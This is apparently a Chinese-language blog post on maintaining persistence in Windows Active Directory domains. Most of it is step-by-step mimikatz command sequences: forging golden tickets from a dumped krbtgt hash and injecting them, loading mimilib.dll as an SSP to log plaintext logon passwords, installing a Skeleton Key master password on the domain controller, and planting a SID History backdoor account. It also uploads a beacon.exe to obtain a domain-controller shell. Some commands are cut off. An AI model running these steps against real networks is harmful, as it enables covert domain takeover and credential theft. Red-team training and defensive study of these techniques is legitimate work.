域环境权限维持
域环境权限维持
hihopkcPTT
PASS The Ticket
黄金票据伪造原理
2.2 AS确认Client端登录者用户身份
KDC
返回的 Msg B
:使用 TGS密钥(KDC HASH / KRBTGT用户NTLM HASH) 加密的 TGT (TicketGranting-Ticket),当我们获取到krbtgt用户的 NTLM 哈希后,便可主动使用 krbtgt 用户的NTLM 哈希做为 TGS 密钥来生成 TGT 发送给KDC,这样KDC如果通过解密伪造 TGT 获取到伪造的[CLIENT/TGS SESSIONKEY] 可以成功解密 Authenticator 1 并完成与TGT中的数据进行比对,便成功骗过了KDC
,也就是成功伪造了黄金票据
黄金票据伪造条件
- 域名称
- 域的SID值
- 域的 KRBTGT 账户密码 HASH
- 伪造用户名,可以是任意的
利用步骤
- 域名称(kc.local)
1 | whoami |
- 域SID
1 | whoami /user |
S-1-5-21-1444815315-2181078613-1313507127
- 域 krbtgt 账户 ntlm hash 或aes-256值
1 | mimikatz lsadump::dcsync /user:Guest@kc.local |
- 清理所有票据
1 | klist purge |
- mimikatz伪造指定用户的票据并注入内存
1 | mimikatz kerberos::golden /user:administrator /domain:kc.local /sid:S-1-5-21-2831898851-346755201-4242450174 /krbtgt:cee484c9c4148a6d6e01ecc446e19643 /endin:480 /renewmax:10080 /ptt |
1 | /admin:伪造的用户名 |
- 查看票据
1 | mimikatz kerberos::list |
- 得到域控shell
1 | upload /root/beacon.exe (C:\Users\de1ay.DE1AY\Desktop\beacon.exe) |
保存票据为文件
1 | mimikatz kerberos::golden /user:administrator /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /ticket:golden.kirbi |
通过mimikatz中的kerberos::ptt功能(Pass The Ticket)将golden.kiribi导入内存中
1 | kerberos::purge |
SSP
SSP简介
SSP:security Support Provider ,一个用于身份验证的 dll
SSPI:Security Support Provider Interface,Windows 系统在执行认证操作所使用的API。
SSPI是SSP的API接口
LSA:Local Security Authority,用于身份认证,常见进程为 lsass.exe,特别的地方在于LSA是可扩展的,在系统启动的时候SSP会被加载到进程lsass.exe中.这相当于我们可以自定义一个dll,在系统启动的时候被加载到进程 lsass.exe 。
原理
系统在启动时 SSP 会被加载到 lsass.exe 进程中,由于 lsa 可扩展,导致在系统启动时我们可以加载一个自定义的 dll,一个用于记录所有登录到当前系统的明文账号密码的 dll, 利用mimikatz 中mimilib.dll 文件。
将 mimikatz 中的 mimilib.dll 放到系统的C:\Windows\system32目录下(DLL的位数需要与windows位数相同),并将 mimilib.dll 添加到注册表中,使用此方法即使系统重启,也不会影响到持久化的效果。
利用
1 | copy mimilib.dll %systemroot%\system32 |
注意:在powershell中执行reg,在cmd中执行可能会报错。
计算机重启后,如果有用户成功登录到当前系统中,会在 c:\windows\system32 目录下生成一个用于记录登账账号密码的 kiwissp.log 文件
- Memory Updating of SSPs
使用mimikatz将伪造的SSP注入内存,这样做不会在系统中留下二进制文件,但如果域控制器重启,被注入内存的伪造的SSP将会丢失。
1 | mimikatz privilege::debug |
Skeleton Key
Skeleton Key简介
Skeleton Key是一种不需要域控重启即能生效的维持域控权限方法。
Skeleton Key被安装在64位的域控服务器上,支持 Windows Server2003—Windows Server2012R2 ,能够让所有域用户使用同一个万能密码进行登录,现有的所有域用户使用原密码仍能继续登录,
注意并不能更改用户权限,重启后失效。
利用
- 在域控安装Skeleton Key
1 | privilege::debug |
- 域内主机使用Skeleton Key登录域控
mimikatz的默认Skeleton Key设置为mimikatz,Skeleton Key只是给所有账户添加了一个万能密码,无法修改账户的权限
1 | net use \\DC.kc.local mimikatz /user:administrator@kc.local |
SID History
SID简介
每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。
SID History是在域迁移过程中需要使用的一个属性。
如果将A域中的域用户迁移到B域中,那么在B域中该用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源。
SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。
使用mimikatz,可以将SID History属性添加到域中任意用户的SID History属性中。在实战中,如果获得了域管理员权限,则可以将SID History作为实现持久化的方法。
利用
- 域控上添加并启用域账户
1 | dsadd user cn=ming,dc=de1ay,dc=com -disabled no -pwd ll@1qazWSX |
- Mimikatz添加后门
1 | privilege::debug |
- PowerShell查看ming用户的SID History
1 | Import-Module ActiveDirectory |
- 验证域用户ming是否有具有administrator权限: